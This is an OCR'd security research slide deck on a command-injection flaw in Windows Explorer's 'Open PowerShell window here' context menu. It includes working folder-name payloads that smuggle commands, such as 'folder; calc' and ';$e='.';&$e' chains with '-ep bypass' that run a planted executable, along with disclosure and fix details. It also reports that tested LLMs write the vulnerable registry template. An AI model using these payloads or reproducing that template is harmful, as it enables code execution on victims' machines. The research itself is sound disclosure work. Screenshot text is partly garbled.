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Open

Open in new process

Pin to Quick access

Open in Terminal

Open PowerShell window here
Scan with Microsoft Defender...

Give access to

Restore previous versions
Include in library

Pin to Start

Copy as path

Send to
Cut
Copy

Create shortcut
Delete

Rename

Properties




New folder

2 windows PowerShell X =

Set-Location : A positional parameter cannot be found that accepts argument 'folder’.

At line:1 char:1
+ Set-Location -literalPath C:\Users\user\Desktop\New folder

+ CategorylInfo : InvalidArgument: (:) [Set-Location], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell.Commands.SetLocationCommand

PS C:\WINDOWS\system32>



New folder

2 windows PowerShell X aE | SZ

R e ke e T W e b L BT e e e e
A positionalL parameter cannot be Tound that accepts

+ Set-Location

Tru=alsdAn 2P o o) [FCad_l N . g ]
InvalidArgument: (:) [Set-Location],
s

rrorId : PositionalParameterNotFound, Mi

PS C:\WINDOWS\system32>
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Background knowledge on context menus

Classical context menus

SPECT=REPS

Right click

View

T Sort by

(" Refresh

+) New

Display settings

4 Personalise

Open in Terminal

L7 Show more options

ol
=

Extended context menus
Shift + right click

View
Sort by
= i=1y

Open in Terminal

Open PowerShell window here
Mew

Display settings

Personalise
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Background knowledge on context menus

B Reoicty i

File

Edit

View Favorites Help

Computer\HKEY_CLASSES_ROOT\Directory\Background\shell\PocContextMenu

v

Directory

Background
shell
cmd
Powershell
PocContextMenu
command
shellex
Defaultlcon
shell

SPECT=REPS

Name

&) (Default)
abl|con

Data

Poc Context Menu
C:\PocPodalirius\pedalirius.ico

View
Sort by
Refresh

Undo Rename Ctrl+Z
Open in Terminal

Poc Context Menu
New

Display settings

Personalise

© Specter Ops, Inc.
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Background knowledge on context menus

The most common keys to define a new context menu action are:

(Default)
Icon

Position

Extended

SPECT=REPS

Mandatory

Optional

Optional

Optional

This value determines the text that appears in the context menu
entry

Specifies the path to an icon file (- 1€0) or resource to display next to
the menu item

Can be set to "Top” or "Bottom” to control where the item
appears in the menu

If present, the item only appears when Shift + Right-click is used

© Specter Ops, Inc.
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Exploring the attack surface

Looking at the contents of HKEY_CLASSES_ROOT\Directory\shell\Powershell\command registry key we see

the command line that will open a new PowerShell window in this directory:

B Registry Editor
File Edit View Favorites Help
Computer\HKEY_CLASSES_ROOT\Directony\shell\Powershell\.command

v _ Directory Marne Type Drata

: Defaultlcon

v 7 shell |

cmd

find
Powershell

command

UpdateEncryptio:

The (Default) value of this registry key is:

powershell.exe —noexit —-command Set-Location -literalPath "%V"

SPECT=REPS

> Background im REG_SZ powershell.exe -noexit -command Set-Location -literalPath "%sW"

© Specter Ops, Inc. 10



Exploring the attack surface

This is consistent with the error we got earlier:

SPECT=REPS



A parameter injection

We have an obvious parameter injection here, confirming it with a folder named “folder -literalPath Other”

folder
-literalPa...

22 windows PowerShell

PS C:\WINDOWS\system32> |

S P E C T E R @ P S © Specter Ops, Inc. 12




A parameter injection

We have an obvious parameter injection here, confirming it with a folder named “folder -literalPath Other”

folder
-literalPa...

22 Windows PowerShell

— 1 1 texralfBai=hnh

A Y-

SPECT=REPS

—llteralfa
\ N

© Specter Ops, Inc.
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From a parameter injection to a command injection

When not enclosed in double quotes, multiple spaces are trimmed by the parser

Command Prompt X +

Microsoft Windows [Version 10.0.27863.10808]
(c) Microsoft Corporation. All rights reserved.

C:\Users\user>powershell.exe —Command argl arg2 arg3 argi

C:\Users\user>|

argl is treated as the first argument value for the -Command flag, and others
are positional arguments that will be added to the command argument.
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From a parameter injection to a command injection

When enclosed in double quotes, multiple spaces are kept by the parser

Command Prompt

Microsoft Windows [Version 10.0.27863.10080]
(c) Microsoft Corporation. All rights reserved.

C:\Users\user>powershell.exe —Command "argl arg2 arg3 argu"

C:\Users\user>|

This is treated as one argument value for the -Command flag

S P E C T E R @ p S © Specter Ops, Inc. 15



From a parameter injection to a command injection

1 parameter (double quoted string) 4 parameters (without quotes)

C:\Users\user>powershell.exe —Command "argl arg2 arg3 argi" C:\Users\user>powershell.exe —Command argl arg2 arg3 argli

—Command takes 1 parameter —Command takes 4 parameters

Powershell takes this first token after | Powershell takes these four tokens
—Command jn argvl] as a raw string | after —Command in argvll and join
them together with spaces in between.

Then 1t Interprets the constructed
string.

and interprets It.

S P E C T E R @ P S © Specter Ops, Inc. 16



From a parameter injection to a command injection

Looking back at the command line used in “Open PowerShell here”:

powershell.exe —noexit —-command
Set-Location -literalPath "C:\Users\poc\Desktop\folder; calc"

Arguments as seen by
powershell in argvl]

S p E C T E R @ p S © Specter Ops, Inc. 17



From a parameter injection to a command injection

Looking back at the command line used in “Open PowerShell here”:

powershell.exe —noexit —-command
Set-Location -literalPath "C:\Users\poc\Desktop\folder; calc"

powershell.exe

Arguments as seen by
powershell in argvl]

S P E C T E R @ P S © Specter Ops, Inc. 18



From a parameter injection to a command injection

Looking back at the command line used in “Open PowerShell here”:

powershell.exe —noexit —-command
Set-Location -literalPath "C:\Users\poc\Desktop\folder; calc"

powershell.exe

—-noexit

Arguments as seen by
powershell in argvl]

S P E C T E R @ P S © Specter Ops, Inc. 19



From a parameter injection to a command injection

Looking back at the command line used in “Open PowerShell here”:

powershell.exe —noexit —-command
Set-Location -literalPath "C:\Users\poc\Desktop\folder; calc"

powershell.exe

—-noexit

Arguments as seen by —command
powershell in argvl]

S P E C T E R @ P S © Specter Ops, Inc. 20



From a parameter injection to a command injection

Looking back at the command line used in “Open PowerShell here”:

powershell.exe —noexit —-command
Set-Location -literalPath "C:\Users\poc\Desktop\folder; calc"

powershell.exe

—-noexit
Arguments as seen by —command
powershell in argv(] Set-Location

© Specter Ops, Inc. 21
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From a parameter injection to a command injection

Looking back at the command line used in “Open PowerShell here”:

powershell.exe —noexit —-command
Set-Location —literalPath "C:\Users\poc\Desktop\folder; calc"

powershell.exe

—-noexit
Arguments as seen by —command
powershell in argv(] Set-Location
-literalPath

SPECTE R@ PS © Specter Ops, Inc. 22



From a parameter injection to a command injection

Looking back at the command line used in “Open PowerShell here”:

powershell.exe —noexit —-command
Set-Location -literalPath "C:\Users\poc\Desktop\folder; calc"

powershell.exe

—noexit

—command

Set-Location

-literalPath
C:\Users\poc\Desktop\folder; calc

Arguments as seen by
powershell in argvl]

g =E W N RO

SPECT=EREPS © Specter Ops, Inc. 23



From a parameter injection to a command injection

Arguments as seen by PowerShell for the command before join with a space delimiter

'Set—Location“—literalPath“C:\Users\poc\Desktop\folder; calc

0 2

SPECT=EREPS © Specter Ops, Inc. 24



From a parameter injection to a command injection

Arguments as seen by PowerShell for the command before join with a space delimiter

'Set—Location.—literalPath“C:\Users\poc\Desktop\folder; calc

¥
0 2

After the join we have this command string:

Set-Location -literalPath C:\Users\poc\Desktop\folder; calc

SPECTE R@ PS © Specter Ops, Inc. 25



From a parameter injection to a command injection

Arguments as seen by PowerShell for the command before join with a space delimiter

'Set—Location.—literalPath“C:\Users\poc\Desktop\folder; calc

0 2

After the join we have this command string:

Set-Location -literalPath C:\Users\poc\Desktop\folder; calc

When PowerShell interprets it, since space is a delimiter, it will be tokenized like this:

Set-Location -literalPath C:\Users\poc\Desktop\folder; calc
¥ ¥ ¥ I_l_I
0 1 2 3

SPECTE R@ PS © Specter Ops, Inc. 26



From a parameter injection to a command injection

We can write PowerShell code directly after Or we can spawn subprocesses with
the folder name, with a semi colon parenthesis in the name

folder; calc folder (calc)

S P E C T E R @ p S © Specter Ops, Inc. 27



Before this bug, there was another

Another version of this bug has been there since the introduction of the “Open PowerShell
window Here” option in context menus in Windows 10 in 2017.

File

B Registry Editor

Edit View Favortes Help

Computer\HKEY_CLASSES_ROOT\Directory\Backgroundshell\Powershell\command

] DirectDraw
:; DirectDraw?
> DirectDrawClipper
v Directory
v Background
v = shell
v crmd
i coemmand
v Powershell
; : command

s 7 shellex
Defaultlcon

SPECT=REPS

Mame

ab| (Default)

Type
REG 57

Data

powershell.exe -noexit -command Set-Location -literalPath "6V

© Specter Ops, Inc. 28



Before this bug, there was another

Another version of this bug has been there since the introduction of the “Open PowerShell
window Here” option in context menus in Windows 10 in 2017.

The only difference is that the %V was single quoted instead of double quoted now.

powershell.exe -noexit -command Set-Location -literalPath "5V

10§

powershell.exe -noexit -command Set-Location -literalPath "5

S P E C T E R @ P S © Specter Ops, Inc. 29



Before this bug, there was another

Another version of this bug has been there since the introduction of the “Open PowerShell
window Here” option in context menus in Windows 10 in 2017.

The only difference is that the %V was single quoted instead of double quoted now.

Therefore, we can construct a similar payload like this:

folder';calc;"'

S p E C T E R @ p S © Specter Ops, Inc. 30



Before this bug, there was another

The command will be;

powershell.exe powershell.exe —noexit —command
Set-Location -literalPath 'C:\Users\poc\Desktop\folder';calc;"'

Powershell will then interpret this:
Set-Location -1literalpPath C:\Users\poc\Desktop\folder; calc

This will go into the folder C:\Users\poc\Desktop\folder and then
execute calc

S P E CT E R @ PS © Specter Ops, Inc. 31



Responsible disclosure to MSRC

* Responsibly disclosed to Microsoft Security Response Center (MSRC) and were
tracked under submission number VULN-150675 and case number 96232.

* Microsoft did not reward a bounty, nor did they attribute a CVE because this
finding "doesn’t meet [their] criteria as a vulnerability that requires an immediate

security update”.

* This was fixed a month later in Windows 11 Canary (10.0.27902.1000)
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The fix

i.:]
File Edit View Favorites Help
Computer\HKEY_CLASSES_ROOT\Directory\Background\shell\Powershel\command

DirectDraw?7 Name Type Data

? DirectDrawClipper ab|(Default) REG_SZ powershell.exe -noexit -WorkingDirectory "%V"
v Directory

v Background

Vv shell

v . cmd

| Lomcommand |
v Powershell

n ]

> WSL

> shellex

--------- Defaultlcon

SPECTE R@ PS © Specter Ops, Inc. 33



SHO1: Folder with payload in the name

Folder (calc)

Open

Open in new process

Pin to Quick access

Open in Terminal

Open PowerShell window here
Give access to

Restore previous versions
Include in library

Pin to Start

Copy as path

Send to
Cut
Copy

Create shortcut
Delete

Rename

Properties
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SHO1: Folder with payload in the name

Folder (calc)

[l calculator

= Standard 59

&' windows PowerShell X Sl O

PS C:\WINDOWS\system32>
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SHO2: Shortcut to a folder with payload in the name

SPECT=REPS

Open

Open folder location

Open in new process

Pin to Quick access

Open in Terminal

Open PowerShell window here
Include in library

Pin to Start

Copy as path
Share

Restore previous versions

Send to
Cut
Copy

Create shortcut
Delete

Rename

Properties

Evaluation copy. Build 278

© Specter Ops, Inc.
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SHO2: Shortcut to a folder with payload in the name

PS C:\WINDOWS\system32>

SPECT=REPS




SHO3: Background of the explorer window of a
folder with a payload In Its name

Folder (calc) x +
1) (] J > Folder (calc) Search Folder (calc) Q
® New N Sort = View (B Details
2 Home Name Date modified Type Size
BJ Gallery This folder is empty.
> @ Rémi - Personal View >
Sort by >
Group by >
2 Desktop g Refresh
J Downloads # Customise this folder...
- Documents #
Undo Rename Ctrl+Z
I Pictures : B4 Open in Terminal
@) Music ® Open PowerShell window here
&3 Videos » Give access to >
>
0 items New
Properties

SPECTE R@ PS © Specter Ops, Inc. 38



SHO3: Background of the explorer window of a
folder with a payload In Its name

Folder (calc) X +
Ak C J > Folder (calc) Search Folder (calc) ) “
il Calculator O
@ New N Sort = View = Standard & O |
—aa N h Date modified Typ Si
"l Gallery This folder is empty. O ;
> @» Rémi - Persona |
22 windows PowerShell M+ M- MS
7 CE C &
: . |
Y = i —+
7 8 9 X
PS C:\WINDOWS\system32>
4 5 6 =
1 2 3 2
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SHO04: Background of the explorer window of a

folder with a payload in one of its parent's folders

SPECT=REPS

& > (calc)

=
'ft) New

Name
< Home :

| Gallery

@ Rémi - Personal

2 Desktop

i Downloads

— Documents #
PN Pictures

£) Music

i& Videos

0 items

>

a

T Sort

b

= View

Date modified Type

This folder is empty.

View

Sort by
Group by
Refresh

Customise this folder...

Undo Rename
Open in Terminal

Open PowerShell window here
Give access to
New

Properties

(1 Details

© Specter Ops, Inc.
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SHO4: Background of the explorer window of a
folder with a payload in one of its parent's folders

2 windows PowerShell

PS C:\WINDOWS\system32>
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SHObL: A user with a payload in its name

SPECT=REPS




SHObL: A user with a payload in its name

2

Recycle Bin

Microsoft
Edge

View
Sort by
Refresh

Open in Terminal

Open PowerShell window here

New

[0 Display settings
&2 Personalise

Windows 11 Pro Insider Preview
Evaluation copy. Build 27863.rs_prerelease.250517-1909

| | t 5 y ENG 9:39 AM
cRey us @ » 3/3/2026
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SHObL: A user with a payload in its name
g

Recycle Bin

»

Microsoft 22 Windows PowerShell
Edge

Calculator

PS C:\WINDOWS\system32>

Standard 9

Windows 11 Pro Insider Preview
Evaluation copy. Build 27863.rs_prerelease.250517-1909

| ‘ : F ENG N 9:39AM
AR S B 0
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SHOG6: Bring your own payload (exe)

poc/

SPECT=REPS



SHOG6: Bring your own payload (exe)

We will create a folder named “folder”

poc/ which will contain the payload

-

Documents/
L— folder/

L— Eﬂ payload.exe
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SHOG6: Bring your own payload (exe)
//

Calculator
Copyright (C) Microsoft Corporation. All rights reserved.

2 windows PowerShell * +

= Standard %™

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\Podalirius\Desktop\folder> .\payload.exe

SPECT=REPS
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SHOG6: Bring your own payload (exe)

2 windows PowerShell * + «

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\Podalirius\Desktop\folder> .\payload.exe
PS C:\Users\Podalirius\Desktop\folder L \payload.exe

PS C:\Users\Podalirius\Desktop\folder>

SPECT=REPS
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SHOG6: Bring your own payload (exe)
//

Copyright (C) Microsoft Corporation. All rights reserved.

Calculator

= Standard
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\Podalirius\Desktop\folder> .\payload.exe
PS C:\Users\Podalirius\Desktop\folder ; \payload.exe

PS C:\Users\Podalirius\Desktop\folder> ; &$e\payload.exe
PS C:\Users\Podalirius\Desktop\folder>

SPECT=REPS
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SHOG6: Bring your own payload (exe)

B windows PowerShell b4 SF

Windows PowerShell | Calculator

Copyright (C) Microsoft Corporation. A1l rights reserved.
= Standard 73

Inr'l-:'l"l +ha 1Tatactr DawmanChall L£av nawm Laaturac an A AmnrnAauvaman +ecl h++ne: [ falia me /DCUWA nAdAwme

b\folder> &5e\payload.exe

+ $e="'."'
+
Unexpected token '\payload.exe' in expression or statement.

+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecor.cxception
+ FullyQualifiedEr. ~vId : UnexpectedToken

PS C:\Users\Podalirius\Deskto,\folder> ; &%e\payload.exe
PS C:\Users\Podalirius\Desktop\+oiuei~

We could name a folder folder; e and use
the \ present at the end of the path to achieve execution!

S P E CT E R @ PS © Specter Ops, Inc. 50




SHOG6: Bring your own payload (exe)

The command will be:
powershell.exe powershell.exe —-noexit —command
Set-Location -literalPath "C:\Users\poc\Desktop\folder; $e=¢.’; &$e\payload"

SPECTE R@ PS © Specter Ops, Inc. 51



SHOG6: Bring your own payload (exe)

The command will be:
powershell.exe powershell.exe —-noexit —command
Set-Location -literalPath "C:\Users\poc\Desktop\folder; $e=¢.’; &$e\payload"

Powershell will then interpret this:
Set-Location -literalPath C:\Users\poc\Desktop\folder; $e=‘."; &$e\payload

SPECTE R@ PS © Specter Ops, Inc. 52



SHOG6: Bring your own payload (exe)

The command will be:
powershell.exe powershell.exe —-noexit —command
Set-Location -literalPath "C:\Users\poc\Desktop\folder; $e=¢.’; &$e\payload"

Powershell will then interpret this:
Set-Location -literalPath C:\Users\poc\Desktop\folder; $e=‘."; &$e\payload

This will go into the folder C:\Users\poc\Desktop\folder where our payload is stored
and then execute it with $e=*."; &$e\payload
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SHOG6: Bring your own payload (exe)

We will create a folder named “folder”

poc/ which will contain the payload

-

Documents/ Then create a folder with the same

' folder/ name as before (folder) put ending

i with ;$e=¢.";&$e
Eﬂ payload.exe

— folder;$e='.";&$e/
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SHOG6: Bring your own payload (exe)

poc/

L— Documents/

— folder/

L— Eﬂ payload.exe

— folder;$e='.";&$e/

_

payload/

SPECT=REPS

We will create a folder named “folder”
which will contain the payload

Then create a folder with the same
name as before (folder) put ending
with ;$e=¢.";&%e

Then we need to have a folder named
exactly like the payload (either payload
or payload.exe works)
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SHOG6: Bring your own payload (exe)

poc/
— Documents/
— folder/

L— Eﬂ payload.exe

— folder;$e='.";&$e/
- payload/ € )
— (% Go Here Please.lnk

SPECT=REPS

We will create a folder named “folder”
which will contain the payload

Then create a folder with the same
name as before (folder) put ending
with ;$e=¢.";&%e

Then we need to have a folder named
exactly like the payload (either payload
or payload.exe works)

To trigger the execution, we need to
make a user Shift + Right click “Open
PowerShell Window here” on the
shortcut icon.
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SHOG6: Bring your own payload (exe)

== O X
poc_exe X o
i C J > pocexe > Search poc_exe Q
@ New &% (8] @&D = 0] TN Sort = View ~ cae (B Details
-~
) Home Name Date modified Type Size
Documents 6/3/2025 7:45 AM File folder
| Gallery SR
» Go Here Please I “leut 2KB
> @ Rémi - Personal Open
Open folder location
Open in new process
2 Desktop » Open in new tab
Open in new window
J Downloads # ; :
= Pin to Quick access
=] Documents # EM Open in Terminal
PR Pictures ’ Open PowerShell window here
Include in library >
@ Music # Pin to Start
i3 Videos » Copy as path
2items 1 item selected 1.39KB 12 Share

Restore previous versions
Send to

Cut
Copy

Create shortcut
Delete

Rename

Properties
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SHOG6: Bring your own payload (exe)

poc_exe

2 Go Here Please X -+ [

PS C:\Users\user\Desktop\poc_exe\Documents\folder>

j Calculator

Standard &
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SHO7: Arbitrary powershell script execution

poc/
— Documents/
— folder/
L payload
— folder;$e='."';powershell.exe -ep bypass $e/
L payload/ € )
— (¥ Go Here Please.lnk
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SHO7: Arbitrary powershell script execution

folder;$e='."';powershell.exe -ep bypass $e/
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SHO7: Arbitrary powershell script execution

The command will be:
powershell.exe powershell.exe —noexit —command Set-Location -literalPath
"C:\Users\poc\Desktop\folder; $e=¢.’;: powershell.exe —ep bypass $e\payload"

Powershell will then interpret this:

Set-Location -lTiteralPath C:\Users\poc\Desktop\folder; $e=‘."; powershell.exe
—ep bypass $e\payload

This will go into the folder C:\Users\poc\Desktop\folder where our payload is stored
and then execute it with $e=‘.’; powershell.exe -ep bypass $e\payload
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SHO7: Arbitrary powershell script execution

= O X
poc_psl X 5
ke C J > pocpst > Search poc_psT1 Q
® New X% (8] @&D = 0] T Sort = View aes (13 Details
& tiome Name Date modified Type Size
D t: 3/16/2026 2:11 AM File folde
R Gallery ocuments ile folder

» Go Here Please [ it
> @ Rémi - Personal Open

Open folder location

Open in new process

IS

@ Desktop Open in new tab

Open in new window
4 Downloads # £ Z
e Pin to Quick access

— Documents # B4 Open in Terminal
Open PowerShell window here

PQ Pictures * o
Include in library

@ Music » Pin to Start
i3 Videos * Copy as path
|2 Share

2 items 1 item selected 1.52 KB

Restore previous versions
Send to

Cut
Copy

Create shortcut
Delete

Rename

Properties
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SHO7: Arbitrary powershell script execution

poc_psl X +

P Go Here Please X Il

PS C:\Users\user\Desktop\poc_psl\Documents\folder>
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Poisoning of LLMs training dataset

"Write a PowerShell script that creates the necessary registry keys to setup a new context menu in
Windows explorer when a user right-clicks on a folder to Open a PowerShell window here”
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Poisoning of LLMs training dataset

"Write a PowerShell script that creates the necessary registry keys to setup a new context menu in
Windows explorer when a user right-clicks on a folder to Open a PowerShell window here”

The results were highly consistent across all tested LLMs. Each response provided the same command line,
introduced in Windows 10 version 1703, making use of the —Command option and a single-quoted %V
parameter:

powershell.exe —-NoExit —-Command Set-Location -LiteralPath '%V'
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Poisoning of LLMs training dataset

"Write a PowerShell script that creates the necessary registry keys to setup a new context menu in
Windows explorer when a user right-clicks on a folder to Open a PowerShell window here”

The results were highly consistent across all tested LLMs. Each response provided the same command line,

introduced in Windows 10 version 1703, making use of the —Command option and a single-quoted %V
parameter:

powershell.exe —-NoExit —-Command Set-Location -LiteralPath '%V'

The only deviation was produced by Claude 3.5 Sonnet, which used %L instead of %V in the command line.

powershell.exe —NoExit —-Command Set-Location -LiteralPath '%L'

SPECT=REPS
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Poisoning of LLMs training dataset

Model Presence of Presence of single Security
-Command option | quoted templates | Consideration
ChatGPT 5 Present Present None
ChatGPT 5 Think Present Present None
Claude 3.5 Sonnet Present Present None
DeepSeek Present Present None
Gemini 2.5 Flash Present Present None
Gemini 2.5 Pro Present Present None
Mistral Al Present Present None
Mistral Al Think Present Present None
Microsoft Copilot Present Present None

SPECT=REPS
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Conclusion

* Context menus command string templates are interesting to audit

* These two vulnerabilities could be useful to someone during a social
engineering scenario

*Yes “Open PowerShell window here” is in the extended menu, but
sometimes shift can happen
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Creators of BloodHound

Thank you
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